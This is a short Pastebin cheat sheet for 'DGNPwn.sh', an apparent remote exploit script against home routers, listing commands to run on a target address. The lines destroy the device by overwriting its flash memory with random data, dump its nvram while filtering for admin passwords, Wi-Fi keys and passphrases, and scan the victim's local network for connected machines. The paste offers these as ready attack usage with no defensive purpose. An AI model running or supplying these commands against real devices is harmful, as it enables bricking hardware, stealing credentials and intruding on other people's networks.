Advertisement
luxaeterna101

DGNPwn.sh cheatsheet

Jul 16th, 2015
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "cat /dev/urandom > /dev/mtd0& sleep 1; killall cat && reboot" # brick the device
  2.  
  3. ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "nvram show" | grep --color 'lan_ipaddr\|http_username\|http_password\|ddns\|wifi_ssid\|wifi_key\|mail\|log_\|fw_services=\|fw_in_rules\|fw_out_rules\|wsc_device_pin\|_psk\|_pwd\|passphrase\|pwnd' # show infos about the device
  4.  
  5. $previous_command | head -1 | awk -F\= '{gsub(/"/,"",$2);print $2}' # print lan address
  6.  
  7. ./DGNPwn.sh xxx.xxx.xxx.xxx:xxxx "nbtscan 192.168.0.0-255" # shows the devices connected to the LAN. edit the LAN segment accordingly
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement